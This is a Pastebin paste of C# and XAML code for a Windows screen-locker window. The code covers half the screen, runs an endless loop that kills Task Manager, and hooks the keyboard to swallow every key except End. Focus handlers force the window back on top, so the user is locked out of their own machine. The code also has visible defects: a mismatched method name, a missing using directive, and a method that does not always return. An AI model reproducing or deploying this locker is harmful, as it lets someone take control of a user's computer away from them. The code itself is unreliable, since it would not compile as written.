Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //MainWindow.xaml
- <Window x:Class="YOUR_NAMESPACE.MainWindow"
- xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
- xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
- Title="MainWindow" ResizeMode="NoResize" AllowsTransparency="True" WindowStartupLocation="Manual" WindowState="Normal" WindowStyle="None" Background="#FF000000" Topmost="True" Left="0" Top="0" Width="1000" Height="500" LostFocus="Window_LostFocus_1" Cursor="No" MouseLeave="Window_MouseLeave_1">
- <Grid>
- </Grid>
- </Window>
- //MainWindow.xaml.cs
- using System;
- using System.Diagnostics;
- using System.Linq;
- using System.Runtime.InteropServices;
- using System.Windows.Forms;
- namespace YOUR_NAMESPACE
- {
- public partial class MainWindow
- {
- public MainWindow()
- {
- InitializeComponent();
- Topmost = true;
- Rectangle totalSize = Screen.AllScreens.Length <= 1 ? Screen.PrimaryScreen.Bounds : Screen.AllScreens.Aggregate(System.Drawing.Rectangle.Empty, (current, s) => System.Drawing.Rectangle.Union(current, s.Bounds));
- Width = totalSize.Width / 2;
- Height = totalSize.Height;
- Left = totalSize.Left;
- Top = totalSize.Top;
- (new Thread(KillTaskMgr) {IsBackground = true}).Start();
- ptrHook = SetWindowsHookEx(13, CaptureKey, GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
- //System.Windows.Forms.Cursor.Hide();
- }
- public void KillTaskMgr()
- {
- while (true)
- {
- try
- {
- Process.GetProcessesByName("taskmgr")[0].Kill();
- }
- catch
- {
- }
- }
- }
- #region Code to Disable WinKey, Alt+Tab, Ctrl+Esc Starts Here
- // Structure contain information about low-level keyboard input event
- [StructLayout(LayoutKind.Sequential)]
- private struct KBDLLHOOKSTRUCT
- {
- public readonly Keys key;
- private readonly int scanCode;
- public readonly int flags;
- private readonly int time;
- private readonly IntPtr extra;
- }
- //System level functions to be used for hook and unhook keyboard input
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
- /*
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern bool UnhookWindowsHookEx(IntPtr hook);
- */
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, IntPtr wp, IntPtr lp);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string name);
- /*
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- private static extern short GetAsyncKeyState(Keys key);
- */
- //Declaring Global objects
- private readonly IntPtr ptrHook;
- private readonly LowLevelKeyboardProc objKeyboardProcess;
- private IntPtr captureKey(int nCode, IntPtr wp, IntPtr lp)
- {
- if (nCode >= 0)
- {
- if (nCode >= 0)
- {
- KBDLLHOOKSTRUCT objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lp, typeof(KBDLLHOOKSTRUCT));
- if (objKeyInfo.key == Keys.End)
- Environment.Exit(0);
- }
- //return CallNextHookEx(ptrHook, nCode, wp, lp);
- return (IntPtr) 1;
- }
- }
- private void Window_LostFocus_1(object sender, System.Windows.RoutedEventArgs e)
- {
- Focus();
- Topmost = true;
- }
- private void Window_MouseLeave_1(object sender, System.Windows.Input.MouseEventArgs e)
- {
- Focus();
- Topmost = true;
- }
- #endregion
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement